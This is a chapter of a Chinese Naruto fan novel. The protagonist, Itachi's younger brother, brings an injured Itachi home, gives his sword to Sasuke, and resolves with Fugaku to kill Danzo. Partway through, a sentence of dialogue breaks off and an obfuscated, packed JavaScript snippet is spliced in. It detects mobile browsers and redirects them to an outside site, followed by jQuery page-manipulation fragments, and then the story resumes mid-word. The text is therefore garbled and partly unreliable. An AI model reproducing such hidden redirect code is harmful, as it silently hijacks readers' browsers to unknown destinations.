12.第 12 章

作品:《从在木叶当止水弟弟开始

    羽怀背着鼬站在门外。鼬的呼吸很轻,轻得几乎听不见,只有偶尔的呼吸声证明他还活着。


    他腾出一只手,敲门。


    “咚咚。”


    没有人应。


    羽怀等了几秒,又敲了两下。


    门内传来脚步声,很沉稳,应该是成年人。门被拉开,门后露出宇智波富岳的身影。


    看来三代那边的谈判已经结束了。


    富岳的脸在看到两人的瞬间,微微僵了一下。


    很短暂,短暂得几乎察觉不到。但羽怀看见了。


    富岳的目光从他的脸上扫过,落在他背上的鼬身上。在那两道干涸的血痕上停了一瞬后,又移回他的脸上,最后在那张有些脏兮兮的小脸上顿住。


    然后那张脸恢复了平静。


    “进来吧。”富岳说,侧身让开门口。


    玄关的灯光照在羽怀的脸上,照出那些干涸的血痕,以及眼眶周围暗红色的印记。他能感觉到富岳的目光落在自己背上,像两片薄薄的刀片,带着审视的重量。


    羽怀跨过门槛。然而就在他抬脚的瞬间,鼬的脚拖在地上,结结实实地绊了一下门槛。


    羽怀一个没站稳,带着鼬一同栽向了地板。


    富岳下意识伸手,想要扶住了两人。


    但羽怀也是一名强大的忍者,很快便调整好了重心稳住了身形。富岳的手就那么放在他的身前,并没有碰到他。


    两人对视。


    场面一度十分尴尬。


    富岳若无其事地收回手,面无表情地说:“……先把他放回房间。”


    羽怀点了点头,背着鼬往里走。他不敢回头看父亲的表情,因为他怕自己笑出来。


    都喜欢演是吧,那我也演。


    “鼬就先交给美琴照顾,我之后会去请族里的医疗忍者。”富岳说,“待会我有事情找你,你再下来一趟。”


    羽怀点了点头。


    他没有抬头去看客厅。但余光里,他看见了客厅的情景。


    客厅里有几个人影,都是族里的长老。他们坐在榻榻米上,面前的茶杯已经凉了,没有人动过。每个人的脸上都带着一种凝重的神色,像是刚经历过一场漫长而激烈的争吵。


    有人抬起头,看向玄关这边。


    那目光也落在羽怀的背上,落在他背上的鼬身上。


    然后那人的嘴唇动了动,像是想说什么,但最终什么都没说,只是将头扭了回去。


    羽怀没有停留。


    他背着鼬,穿过走廊,上楼,走进鼬的房间。


    房间里很暗,月光从窗户照进来,显得格外明显。羽怀把鼬放在床上,想再次替他脱掉鞋子,却发现他的鞋子似乎是落在止水宅里了。


    无奈地摇了摇头,羽怀拉过被子盖在了鼬的身上。


    虽然鼬这家伙看上去身材挺单薄的,但背起来才发现,他的体重不算轻。


    这一般也是体术强者的特征,身体密度高,打人更疼,也更抗揍。


    鼬的呼吸很浅,眉头紧锁,像是在做噩梦。


    羽怀站在床边,低头看他。


    他没有什么想说的了,就这么看一会就好。


    他这次离开大概是不会回来了。


    杀团藏的风险很高,与大蛇丸或者其他什么势力合作的风险也很高。


    他不会用宇智波一族的身份,也不会用木叶忍者的身份。既然是止水的意志,他也没必要刻意去破坏。


    他正要把被子掖好,鼬突然伸手,抓住了他的袖子。


    羽怀低头。


    鼬闭着眼,眉头锁得更紧,嘴里含糊地嘟囔着什么。羽怀凑近去听。


    “……羽怀……别去……团藏……危险……”


    羽怀沉默了两秒。


    你都这样了还操心我?


    他试图抽出袖子。鼬抓得更紧。


    羽怀无奈:“……松手。”


    鼬没反应。


    羽怀用力抽了抽。……这家伙昏迷了手劲还这么大?


    最后,他只能连袖子带人一起放下,保持一个别扭的姿势站在床边。


    几秒后,鼬的手终于松开了。


    这衣服可不能给你,外面冷,我可不想在找团藏的路上冻死。


    身后传来脚步声,很轻。


    羽怀转过头,看见宇智波美琴站在门口。她的手里捏着一块手帕,眼神依旧是那样,温柔中带着疲惫。


    她没有说话。只是走过来,在羽怀面前站定。


    “回来了?”


    “没……呜”


    还没等羽怀回话,美琴手中的手帕就已经盖在了他的脸上。


    美琴并不想听他的回答,只是用手帕轻轻擦拭他的脸。


    那动作很轻,轻得像一片羽毛落在水面上。手帕的布料柔软而温暖,带着皂角的香气。她先是擦过他额头上的污渍,然后脸颊上的血迹,最后则是眼眶周围那些干涸的暗红色痕迹。


    羽怀站着没动。


    他能感觉到那块手帕在脸上移动,手帕被温水浸染过,带着舒适的温度。


    他只是站在那里,任由美琴替他擦干净脸上的污渍。月光从窗户照进来,落在两人之间,他能看到美琴眼角的细纹,还有她眼底深处的心疼。


    “饿不饿?”美琴问,声音很轻,“厨房还有吃的。”


    羽怀摇了摇头。


    美琴没有勉强。她收起手帕,目光在羽怀脸上停留了几秒。那双眼睛和佐助一样乌黑,和鼬一样沉静,此刻正看着他,像是想说什么,又像是已经什么都说了。


    最后她只是轻声说:“早点休息。”


    然后她继续往前走,来到了鼬的身边。


    而羽怀则是走出了鼬的房间,穿过走廊,走到佐助的房门前。他轻轻推开门,走进去。


    佐助躺在床上,准确地说,是躺在被子里装睡。


    证据就是他的睫毛。


    那双睫毛抖得厉害,明细不是睡着的人能有的频率。


    羽怀在床边站定,低头看着他。


    他不说话。


    佐助的睫毛抖得更厉害了。


    羽怀还是不说话。


    佐助忍不住了。他睁开一只眼,用那只眼睛瞪着羽怀:“你盯着我干什么?”


    羽怀:“你不是睡了吗?”


    佐助立刻把那只眼闭上:“睡了。”


    羽怀没戳穿他。他的目光从佐助的额头滑到鼻尖,从鼻尖滑到嘴唇,从嘴唇滑到那双攥着被角的小手。那双小手白白嫩嫩的,指甲修剪得很整齐,指节上还有几个小小的窝。


    羽怀伸出手,从背后解下自己的刀。


    那是鼬送他的刀。在他七岁生日那天,鼬把这把刀交到他手里,说这是给他的礼物,是从铁之国专门找人定做的。


    他用这把刀砍过很多敌人,也用这把刀保护过很多同伴。这把刀陪了他三年,刀刃上有一道道细小的缺口,都是战斗留下的痕迹。


    他把刀放在佐助枕边。


    月光落在刀鞘上,照出上面精细的纹理。佐助的小手就放在旁边,距离那把刀不到一寸。


    “给你的。”羽怀说。


    佐助睁开眼,盯着那把刀。他的眼睛亮了一下,但嘴上说的是:“这不是你的刀吗?”


    “现在是你了。”


    佐助沉默了两秒。然后他撇了撇嘴:“……我才不要二手货。”


    羽怀伸手去拿刀:“那我拿走。”


    “我说了不要吗?”佐助一把按住刀,动作快得像抢食的忍猫。


    羽怀的嘴角动了动。


    “好好用。”他说。


    他转身,准备离开。


    身后传来佐助的声音,小得像幼猫的轻哼:“……谢谢。”


    羽怀没回头,但嘴角弯了一下。


    他走出房间,轻轻拉上门。


    走廊里很暗。月光从窗户漏进来,在地板上画出一道道模糊的轮廓。羽怀沿着走廊往回走,脚步声很轻,轻得几乎听不见。


    他下楼,走向玄关。


    客厅里的灯还亮着。那些长老已经走了,只剩下宇智波富岳一个人坐在榻榻米上。他的面前放着几个茶杯,都是凉的,而且都还是满的。


    富岳抬起头,看向羽怀。


    “坐。”他说。


    羽怀在对面坐下。两人之间隔着一张矮桌,桌上放着凉透的茶。月光从窗户照进来,落在矮桌上,将茶杯的影子拉得很长。


    沉默持续了几秒。


    “火影那边……”羽怀开口,“发生了什么?”


    富岳看着他。


    那双眼睛和鼬一样沉静,和所有宇智波族人一样乌黑。


    “团藏。”富岳说。


    羽怀的手指动了动,他一点也不意外。


    富岳端起茶杯,抿了一口。茶水已经凉透了,但他像是没感觉到一样,就那么咽了下去。


    羽怀盯着父亲的表情。


    富岳仍旧是一副面无表情的样子。


    羽怀继续盯着。


    富岳又喝了一口。


    羽怀终于忍不住问:“……好喝吗?”


    富岳放下茶杯:“一般。”


    “那为什么喝?”


    “倒掉浪费。”


    羽怀沉默了。他也端起一杯凉茶,喝了一口。


    然后他也沉默了。


    富岳问:“怎么样?”


    羽怀:“……就是有点苦的水。”


    “没有品位。”


    两人对视一眼,同时把茶杯放下。


    气氛稍微放松了一些。这不是在进行宇智波高层会议,只是家人间的情报讨论。


    “团藏在所有高层面前发难。”富岳放下茶杯,“说止水偷袭了他,并试图用别天神控制他。”


    羽怀的呼吸停了一瞬。


    “他说……”富岳顿了顿,“在所有高层中,只有他继承了二代火影的意志,一直提防着宇智波。所以止水才会选他作为目标。”


    灯光落在矮桌上,将那些凉透的茶杯照得发亮。


    羽怀没有说话,但脸上出现了一抹讥讽的神色。


    他早就猜到了。团藏不可能只满足于夺走止水的一只眼睛。他是那种要么不做、要么做绝的人。既然敢对止水动手,就一定准备了后手。


    诬陷止水,把自己包装成受害者。


    这么做无疑是想逼宇智波一族造反,如果富岳和他一样在高层面前动手,那么谈判就彻底破裂了。


    “然后呢?”羽怀问。


    他相信富岳,这种程度的挑衅对他来说很有效,但对富岳这样的成年人而言还是没什么威力的。而团藏的招数肯定也不止这些。


    富岳看着他。


    “鼬。”富岳说,“团藏说,关键时刻,鼬出手保护了他。”


    羽怀的瞳孔微微收缩。


    “他说鼬是火之意志的继承者。”富岳的声音依然平静,但眼底有什么东西在翻涌,“在止水试图用别天神控制他的时候,鼬挡在了他面前。”


    灯光落在矮桌上,将那些茶杯的影子压得很短。


    羽怀的手指攥紧了膝盖上的布料。


    他已经不需要富岳继续说下去了。


    他已经能猜到,这样的消息传回族内,会是什么结果。


    比起敌人,叛徒更让人难以接受。


    而宇智波鼬,一直以来就太偏向木叶高层了。他不参加族会,不和族人往来,整天戴着暗部的面具在外面执行任务。族人们早就有微词,只是碍于他是族长的长子,没有说出来。


    现在团藏把这样一个消息传出来……


    止水试图袭击木叶高层,而鼬保护了高层。


    无论真假,都够了。


    足够让那些本就不满的族人爆发。够让宇智波内部自己先打起来。


    羽怀闭上眼睛。


    激进派会第一个跳出来,说鼬是叛徒,说他背叛了宇智波。保守派会被裹挟着表态,说鼬做得不对,但也不至于。


    然后争吵会变成对峙,对峙会变成冲突。


    到最后,宇智波一族自己就会四分五裂。


    而木叶高层,只需要坐在那里,看着他们内斗就够了。


    等他们斗得差不多了,再出来收拾残局。


    最重要的事,这件事对于木叶高层是有利的,其他高层大概会支持。


    止水已经死了,死人不会说话,而鼬在族内的声望基本都是负的了,没有他和止水在族里沟通,鼬说的话可信度可能还不如佐助呢。


    唯一可行的就是三代站出来,为宇智波鼬站台,同时将团藏处死


    “其他两名顾问……”羽怀睁开眼睛,“支持团藏吗?”


    富岳点了点头。


    “转寝小春和水户门炎。”他说,“他们当场就表态支持团藏的说法。”


    羽怀的嘴角动了动,没有笑出来。


    他早就知道那两个顾问是什么样的人,他们并不针对宇智波,但对于高层有利的事情他们绝对会支持。


    二代火影千手扉间的弟子,和团藏、三代火影一样,都是那个时代活下来的老人。但他们没有三代的魄力,也没有团藏的狠辣。在实力随着年龄衰退后,就显得他们有些中庸了。


    “不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332185|198619||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过三代和自来也都很愤怒,他们显然也不信团藏的鬼话,不过……”富岳顿了顿,“这个时候,鸣人失踪的消息传了过来。”


    羽怀的眉头动了动。


    “九尾人柱力失踪。”富岳说,声音里带上了一丝复杂的意味,“这件事比宇智波的事更重要。他们的讨论就此中断,都去找鸣人了。”


    灯光落在矮桌上,将那些凉透的茶杯照得发亮。


    羽怀沉默了几秒。


    他想起今天下午,在那片小树林里,那些孩子围着鸣人踢打的样子。想起那些躲在树上的根部忍者,想起那个被他打晕的家伙。


    根部的忍者一直在监视鸣人。


    鸣人失踪,他们怎么会不知道?怎么会现在才发现?


    “他们没请宇智波帮忙?”羽怀问。


    富岳摇了摇头。


    “没有。”他说,“而且……根部的忍者说,最后接触鸣人的人,恰好是你。”


    羽怀的手指停住了。


    月光落在他的手背上,照出那些细小的青筋。


    他是最后接触鸣人的人。


    今天下午,在那个小树林里,他把鸣人从那些孩子手里救出来。他拎着鸣人离开,把他放在路边,然后带着佐助走了。


    他离开之后,鸣人去了哪里?他不知道。


    他还在去火影办公室的路上找了一小会,但没有找到,他还以为鸣人自己回家去了。


    但团藏不需要关心这些。


    他只需要一个怀疑对象就行了。


    而宇智波,正好是最合适的怀疑对象。


    “团藏怎么说?”羽怀问。


    “他什么都没说。”富岳的声音很平静。


    羽怀明白。


    团藏什么都不说,是因为他知道,有人会替他说。那些顾问,那些暗部,那些根部的人,会在合适的时机“不经意”地提起,是宇智波的人最后接触了九尾人柱力,然后九尾人柱力就失踪了。


    再加上宇智波一族政变和刺杀高层的计划已经被鼬透露给了高层,九尾失踪就属于是黄泥巴掉□□,怎么都说不清楚了。


    三代确实希望能让村子和宇智波和平共处,但绝不可能将整个村子的安危放在赌桌上。


    羽怀闭上眼睛。


    他能感觉到眼眶深处传来一阵阵刺痛。


    他之前破除鼬的幻术时使用了自己的万花筒能力,一种能用瞳力抵消能量的能力。


    否则鼬的月读他一时半会可能还真破不了。


    但代价就是他的眼睛现在一直很不舒服。


    他的另一只眼睛能力则是穿越空间,像是飞雷神之术一样。只不过发动时间更短,距离更近而已。


    或者说是一种强化版的瞬身术更加贴切。


    富岳开口了。


    “团藏肯定会派人把消息传到族里。”富岳说,“到时候,我也压不住。”


    羽怀睁开眼睛,看着他。


    富岳坐在月光里,那张脸和平时一样沉稳,和平时一样看不出情绪。


    “不过,我也不打算压住。”富岳说。


    他的声音很轻,轻得像一片落叶,但每一个字都像刻在石头上一样清晰。


    “宇智波一族有属于自己的骄傲,如果一定要走向某个结局,那也必须是由我们族人自己做出的选择。”


    他顿了顿。


    “而且,作为你们的父亲,也是宇智波一族的族长,我也需要做些什么。”


    他的目光越过羽怀,落向楼上。那个方向是鼬的房间。


    羽怀没有说话。


    富岳收回目光,看着他。


    “团藏的目的是什么,我也不在乎。”富岳的眼睛变了。


    黑色的瞳孔变成了红色。三颗勾玉在眼眶里缓缓旋转,然后开始连接,融合,最后形成一个诡异的图案。


    万花筒写轮眼。


    “但是他必须要死。”富岳说。


    灯光落在他的眼睛里,照出那个复杂的图案。那图案在瞳孔深处缓缓旋转,带着某种古老的、沉重的力量。


    羽怀看着那双眼睛,没有说话。


    “止水已经不在了,鼬和族人的关系不好,以后……”富岳说,“你多帮帮他。”


    羽怀摇了摇头。


    富岳的动作停住了。


    他看着羽怀,那双万花筒写轮眼里闪过一丝意外。


    “你……”


    羽怀抬起眼睛。


    他的眼睛也变了。


    黑色的瞳孔变成红色。三颗勾玉在眼眶里浮现,然后开始连接,融合,最后形成一个图案。


    刀刃组成的风车。


    它在瞳孔深处缓缓旋转,在月光下闪着幽冷的光。


    富岳的呼吸停了一瞬。


    他看着那双眼睛,看着那柄由刀刃组成的风车图案,眼底翻涌着复杂的情绪。震惊、意外、还有一丝……


    欣慰。


    强大的实力才是忍者的立身之本,依靠家人,族人,村子,都没有自己来得可靠。


    有了这双眼睛,他也就不用太担心孩子们未来的路了。


    “团藏必须死在我手上。”羽怀说。


    他的声音很平静,平静得像在说今天天气不错。但那双万花筒写轮眼里的图案在缓缓旋转,带着某种冰冷的、不可动摇的决心。


    灯光落在两人之间,照出那两双同样猩红的眼睛。


    沉默持续了很久。


    富岳开口:“……挺好看的。”


    羽怀愣了一下:“……谢谢?”


    “能力是什么?”富岳问。


    “能让别人的忍术失效。还能瞬移。”


    富岳点了点头:“不错,很符合你的风格。”


    对话结束,沉默继续回归。


    富岳低下头,看着面前的茶杯,沉思良久,最后他的眉头重要缓缓地舒展开来。


    “好。”他说。


    就一个字。表示他同意了羽怀的计划。


    富岳闭上眼睛,那双万花筒写轮眼消失了,变回普通的黑色。当他再次睁开眼睛时,眼底已经恢复了往常的平静。


    “三代和自来也,我会想办法拖住。”他说,“你想做什么,便去做吧。”


    羽怀点了点头。


    他站起身,走向楼梯。


    他的脚步声在走廊里回荡,很轻,很稳,一步一步,走向自己的房间。


    月光从窗户照进来,落在他的背上,将他小小的影子投在墙上。


    那影子走得很慢,却没有任何犹豫。


    他没有回去休息的意思。他要做得所有事都已经做完了。